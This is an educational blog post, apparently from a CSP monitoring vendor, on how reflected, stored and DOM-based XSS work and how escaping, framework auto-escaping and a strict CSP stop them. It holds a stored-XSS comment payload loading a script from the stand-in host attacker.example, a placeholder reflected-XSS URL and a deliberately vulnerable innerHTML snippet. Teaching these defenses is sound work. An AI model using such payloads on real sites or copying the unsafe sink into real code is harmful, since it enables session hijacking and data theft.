How XSS attacks actually work, and what finally stops them

XSS happens when untrusted input becomes markup in someone else's browser. How reflected, stored and DOM-based XSS differ, what an attacker gains, and why escaping plus a strict CSP is the combination that actually holds.

Published

Cross-site scripting has held a place on every OWASP Top 10 since the list existed, and it keeps it because the root cause is built into how the web works: pages are assembled by concatenating strings, and some of those strings come from people you have no reason to trust.

The mechanism fits in three sentences. An application takes input it does not control (a query parameter, a comment, a URL fragment) and writes it into a page as HTML without neutralizing it. The browser cannot tell the markup you wrote from the markup that arrived inside the input, so an injected <script> executes with the full authority of whoever is viewing the page. That is the entire trick. Everything else about XSS is variations on where the input enters and how long it survives.

Reflected vs stored vs DOM-based XSS

Reflected XSS travels inside a link. Picture a search page that echoes the query back: “42 results for laptop”. If that echo is unescaped, a crafted URL does the rest:

https://shop.example/search?q=<script>/* attacker code would go here */</script>

The attacker sends the link by email, an ad, a shortened URL. The victim clicks, the server reflects the parameter into the response, and the victim’s own browser executes it. Nothing is stored anywhere, and each victim needs their own poisoned link, which is why reflected XSS and phishing usually travel together.

Stored XSS removes the delivery problem. The payload goes into anything the application persists and later renders: a comment, a profile name, a support ticket. A comment saved as

Nice article! <script src="https://attacker.example/collect.js"></script>

now runs for every visitor who opens the page, indefinitely, with no interaction beyond browsing. This is the variant that scales, and the one behind most of the incidents people remember.

DOM-based XSS may never touch the server. Client-side code reads something attacker-influenced from location and writes it into the page:

// vulnerable: the URL fragment is attacker-controlled
document.getElementById('banner').innerHTML =
  decodeURIComponent(location.hash.slice(1));

A link ending in a crafted # fragment triggers it. Fragments are not sent to the server, so nothing shows up in your access logs and no server-side filter ever sees the payload.

What an attacker gets out of it

The injected script runs inside the victim’s session, indistinguishable from your own code. It can read whatever the page renders: account details, private messages, the whole DOM of a logged-in dashboard. It can act as the user, because same-origin requests carry the session automatically, so changing an email address or posting from a trusted account is a fetch() away. And it can exfiltrate what it collects, including cookies and keystrokes typed into forms, to any server that will listen. The session angle deserves its own article, so we wrote one: how cookie theft and session hijacking work.

XSS is not defaced homepages. It is quiet impersonation.

What actually stops it: layers, in order

Escaping at the point of output comes first. < becomes &lt; in HTML context, and each context (attribute, URL, JavaScript string) has its own rules. This is necessary and never sufficient on its own, because it has to be applied at every sink, by every developer, on every code path, for the life of the application. Ten years in, someone always finds the template that predates the convention.

Framework auto-escaping is why modern apps have fewer reflected holes than 2010-era PHP. React, Vue, Angular and current template engines escape interpolated values by default, which moves the risk to the escape hatches: innerHTML, dangerouslySetInnerHTML, v-html. Grep for those in your codebase and make each occurrence justify itself. If you genuinely must render user-supplied HTML, sanitize it with a maintained library rather than a homemade regex.

A strict CSP is the backstop for the day the first two fail. With nonces or hashes plus 'strict-dynamic', only scripts you explicitly marked can execute. The attacker’s markup can land in the page and sit there as dead weight: no nonce, no matching hash, no execution. And connect-src closes the exit, because even a script that somehow runs cannot POST its loot to attacker.example if the policy does not list that origin. If CSP is new to you, start with what a Content Security Policy is and the nonce and hash docs.

Monitoring closes the loop. A CSP that blocks an injected script also generates a violation report, and that report is how you find out someone attempted an injection in production, often before any scanner or bug bounty does. Point report-to at a collector and actually read the stream. CentralCSP gives you a managed endpoint, violations indexed by directive and origin, and 90-day retention on every tier, so the day a payload shows up in your comment field, it is a line in a dashboard instead of a mystery.

No single layer survives contact with a determined attacker. Escaping fails at a forgotten sink, a framework escape hatch gets misused, and that is precisely when the CSP earns its keep. XSS is one piece of the wider question of what runs in your users’ browsers. For the full picture, see what client-side security covers.

Frequently asked questions

Does a CSP prevent XSS?

A strict CSP with nonces or hashes stops injected scripts from executing, which neutralizes the impact of most XSS even when the injection succeeds. It does not remove the injection flaw itself, and pure HTML injection (a fake login form, say) can still do damage without any script. Treat CSP as the enforcement backstop behind output escaping, not a replacement for it.

What is the difference between reflected, stored and DOM-based XSS?

Reflected XSS arrives in a crafted link and is echoed back by the server in the immediate response, so each victim needs their own poisoned URL. Stored XSS is saved by the application (a comment, a profile field) and served to every future visitor. DOM-based XSS happens entirely in client-side JavaScript that writes URL data into the page, so the payload may never reach the server at all. Once the script runs, the impact is identical.

What can an attacker actually do with XSS?

Whatever the victim's session can do. The injected script reads everything the page renders, performs same-origin requests as the logged-in user, captures form input as it is typed, and sends anything it collects to a server the attacker controls. HttpOnly cookies cannot be read directly, but the script can still act as the user for as long as the tab stays open.

Is escaping user input enough to stop XSS?

Escaping at the point of output is the first defense, but it only works if it is applied at every sink, by every developer, forever. One forgotten template or one careless innerHTML assignment reopens the hole. That is exactly why frameworks escape by default and why a strict CSP exists: it keeps holding on the day escaping fails.